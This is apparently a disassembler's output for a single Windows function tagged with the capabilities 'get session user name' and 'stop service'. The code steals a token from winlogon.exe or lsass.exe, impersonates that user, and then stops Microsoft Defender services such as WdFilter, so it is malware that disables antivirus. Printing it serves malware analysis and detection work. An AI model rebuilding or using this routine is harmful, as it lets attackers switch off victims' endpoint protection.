Function at 0x140001790
Capabilities:
Get session user name
Stop service

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor esi, esi
mov dword [rsp + 0x28], 0x101
lea rdx, [rsp + 0x28]
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 7
lea rax, [rsp + 0x60]
inc r8
cmp word [rax + r8*2], si
jne 0x1400017f5
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140001d70
cmp qword [rsp + 0x48], 8
lea rdx, [rsp + 0x30]
lea rcx, str.___Current_user_is:__s_n
cmovae rdx, qword [rsp + 0x30]
call fcn.140001b50
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14000186d
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001868
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b30
call fcn.140001f20
lea rdx, [rsp + 0x20]
lea rcx, str.winlogon.exe
call section..text
test eax, eax
je 0x140001b25
lea rdx, [rsp + 0x20]
lea rcx, str.lsass.exe
call section..text
test eax, eax
je 0x140001b25
mov rcx, qword [rsp + 0x20]
call fcn.140001490
mov qword [rsp + 0x20], rax
test rax, rax
je 0x140001b25
lea rcx, str.___CreateTokenWinDefend_success__n
call fcn.140001b50
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x140001b04
lea rcx, str.___ImpersonatedLoggedOnUser___success__n
call fcn.140001b50
lea rdx, [rsp + 0x28]
mov dword [rsp + 0x28], 0x101
lea rcx, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 7
inc rbx
cmp word [rax + rbx*2], si
jne 0x140001912
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140001d70
cmp qword [rsp + 0x48], 8
lea rdx, [rsp + 0x30]
lea rcx, str.___Current_user_is:__s_n
cmovae rdx, qword [rsp + 0x30]
call fcn.140001b50
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14000198c
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001987
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b1f
call fcn.140001f20
xor edx, edx
mov qword [rsp + 0x2a8], r14
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov r14, rax
test rax, rax
jne 0x1400019f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenSCManager_failed___d__n
call fcn.140001b50
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____StopDefenderServices_Error:__i_n
call fcn.140001b50
mov r14, qword [rsp + 0x2a8]
xor eax, eax
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140001f00
add rsp, 0x280
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x2a0], rdi
lea rcx, str.___OpenSCManager_success__n
mov qword [rsp + 0x2b0], r15
call fcn.140001b50
lea rbx, str.WdFilter
lea r15, str.Unknown_exception
mov rdx, qword [rbx]
mov r8d, 0x2c
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x140001a56
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbx]
lea rcx, str.____OpenService__s_failed___d__n
mov r8d, eax
call fcn.140001b50
jmp 0x140001ac5
mov rdx, qword [rbx]
lea rcx, str.___OpenService__s_success__n
call fcn.140001b50
lea r8, [rsp + 0x30]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x140001aa8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x426
je 0x140001aa8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Stop_attempt_failed___Error__d__n
call fcn.140001b50
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140001ac5
mov rdx, qword [rbx]
lea rcx, str.____s_stopped_successfully__n
call fcn.140001b50
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, 1
add rbx, 8
cmp rbx, r15
jl 0x140001a22
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r15, qword [rsp + 0x2b0]
mov rdi, qword [rsp + 0x2a0]
test esi, esi
je 0x1400019c0
lea rcx, str.___StopDefenderServices_success__n
call fcn.140001b50
jmp 0x1400019d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ImpersonatedLoggedOnUser___Error:__i_n
call fcn.140001b50
xor eax, eax
jmp 0x1400019de
call fcn.140005fa8
int3
mov ecx, 1
call fcn.140008b6c
int3
call fcn.140005fa8
int3